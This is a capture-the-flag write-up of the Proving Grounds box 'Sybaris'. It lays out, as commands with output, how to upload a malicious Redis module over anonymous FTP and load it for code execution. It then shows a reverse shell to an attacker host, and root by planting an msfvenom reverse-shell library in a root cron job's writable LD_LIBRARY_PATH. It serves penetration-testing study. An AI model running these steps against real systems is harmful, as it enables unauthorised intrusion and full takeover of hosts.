# Sybaris Writeup - Proving Grounds

> Intermediate Linux box where anonymous FTP write access and an unauthenticated Redis instance combine for code execution via Redis MODULE LOAD, then a shared-object hijack of a root cron job's LD_LIBRARY_PATH for root.

- **URL:** https://hackindex.io/writeups/sybaris
- **Platform:** Proving Grounds
- **Difficulty:** Intermediate
- **Operating system:** Linux
- **Tags:** rce, redis, ftp, cron-abuse, ld-preload, privilege-escalation
- **Authors:** [The Husky Hacker](https://hackindex.io/authors/thehuskyhacker.md)
- **Read time:** 4 min read
- **Published:** 2026-10-08
- **Updated:** 2026-10-08

Sybaris combines anonymous FTP write access with Redis’s `MODULE LOAD` command to get code execution: upload a malicious Redis module over FTP, then load it from its guessed on-disk path. From there, a root cron job with a hijackable `LD_LIBRARY_PATH` entry gives root.

## Reconnaissance

### Nmap

Scan all ports.

```bash
sudo nmap -p- -sCV $TARGET_IP
# PORT     STATE SERVICE VERSION
# 21/tcp   open  ftp     vsftpd 3.0.2
# |_ftp-anon: Anonymous FTP login allowed
# 22/tcp   open  ssh     OpenSSH 7.4
# 80/tcp   open  http    Apache httpd 2.4.6 (CentOS) PHP/7.3.22 (HTMLy v2.7.5)
# 6379/tcp open  redis   Redis key-value store 5.0.9
```

FTP allows anonymous login and Redis has no authentication. Verify both.

### FTP and Redis checks

Confirm anonymous FTP access.

```bash
ftp $TARGET_IP
# Name: anonymous
# 230 Login successful.
# ftp> cd pub
# ftp> ls
# (empty, but world-writable)
```

An empty but writable `pub` directory. Redis is cleartext, so talk to it directly over telnet.

```bash
telnet $TARGET_IP 6379
DBSIZE
# :0
```

No keys stored, but anonymous write access to FTP plus an open Redis instance is enough to chain into code execution.

## Exploitation

### Redis MODULE LOAD via anonymous FTP

Build a Redis module that can run shell commands, using the [ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) module.

```bash
git clone https://github.com/n0b0dyCN/RedisModules-ExecuteCommand
cd RedisModules-ExecuteCommand
make
# cp ./src/module.so .
```

Upload the compiled module to the writable FTP directory.

```bash
ftp $TARGET_IP
cd pub
put module.so
# 226 Transfer complete.
```

vsFTPd defaults to `/var/ftp/`, so the module should have landed at `/var/ftp/pub/module.so`. Load it into Redis by path.

```bash
telnet $TARGET_IP 6379
MODULE LOAD /var/ftp/pub/module.so
# +OK
```

The module is loaded and its custom commands are available.

```bash
system.exec "id"
# uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)
```

Catch a full reverse shell with the module’s built-in command.

```bash
nc -lvp $ATTACKER_PORT
```

```bash
system.rev $ATTACKER_IP $ATTACKER_PORT
# id
# uid=1000(pablo) gid=1000(pablo) groups=1000(pablo)
```

Shell as `pablo`. `local.txt` sits in the home directory.

## Privilege Escalation

### Shared-object hijack via LD_LIBRARY_PATH cron job

A root cron job runs every minute.

```bash
cat /etc/crontab
# LD_LIBRARY_PATH=/usr/lib:/usr/lib64:/usr/local/lib/dev:/usr/local/lib/utils
# *  *  *  *  * root  /usr/bin/log-sweeper
```

The crontab sets a custom `LD_LIBRARY_PATH` that includes two extra directories. One of them is world-writable and comes first in the search order.

```bash
ls -lah /usr/local/lib/dev /usr/local/lib/utils
# drwxrwxrwx 2 root root   6 /usr/local/lib/dev
# drwxr-xr-x 2 root root  22 /usr/local/lib/utils
# -rwxr-xr-x 1 root root 476 /usr/local/lib/utils/utils.so
```

`log-sweeper` loads `utils.so` from that path. Dropping a malicious library of the same name into the writable directory lets it be picked up first.

```bash
ldd /usr/bin/log-sweeper
# utils.so => not found
# libc.so.6 => /lib64/libc.so.6
```

Generate a malicious shared object as a reverse-shell payload and stage it over the same anonymous FTP write access.

```bash
msfvenom -p linux/x64/shell_reverse_tcp -f elf-so -o utils.so LHOST=$ATTACKER_IP LPORT=$ATTACKER_PORT
# Saved as: utils.so
```

```bash
nc -lvp $ATTACKER_PORT
```

```bash
ftp $TARGET_IP
cd pub
put utils.so
# 226 Transfer complete.
```

```bash
cp /var/ftp/pub/utils.so /usr/local/lib/dev/utils.so
```

Wait for the minutely cron job to run `log-sweeper`, which loads the planted library ahead of the legitimate one.

```bash
nc -lvp $ATTACKER_PORT
# id
# uid=0(root) gid=0(root) groups=0(root)
```

The hijacked library executes as root when the cron job runs it.

Related

## References

- [Redis - MODULE LOAD](https://redis.io/commands/module-load/) - Redis MODULE LOAD command reference, used to dynamically load a module from a local path.
- [RedisModules-ExecuteCommand](https://github.com/n0b0dyCN/RedisModules-ExecuteCommand) - Redis module used to execute shell commands and spawn a reverse shell after MODULE LOAD.
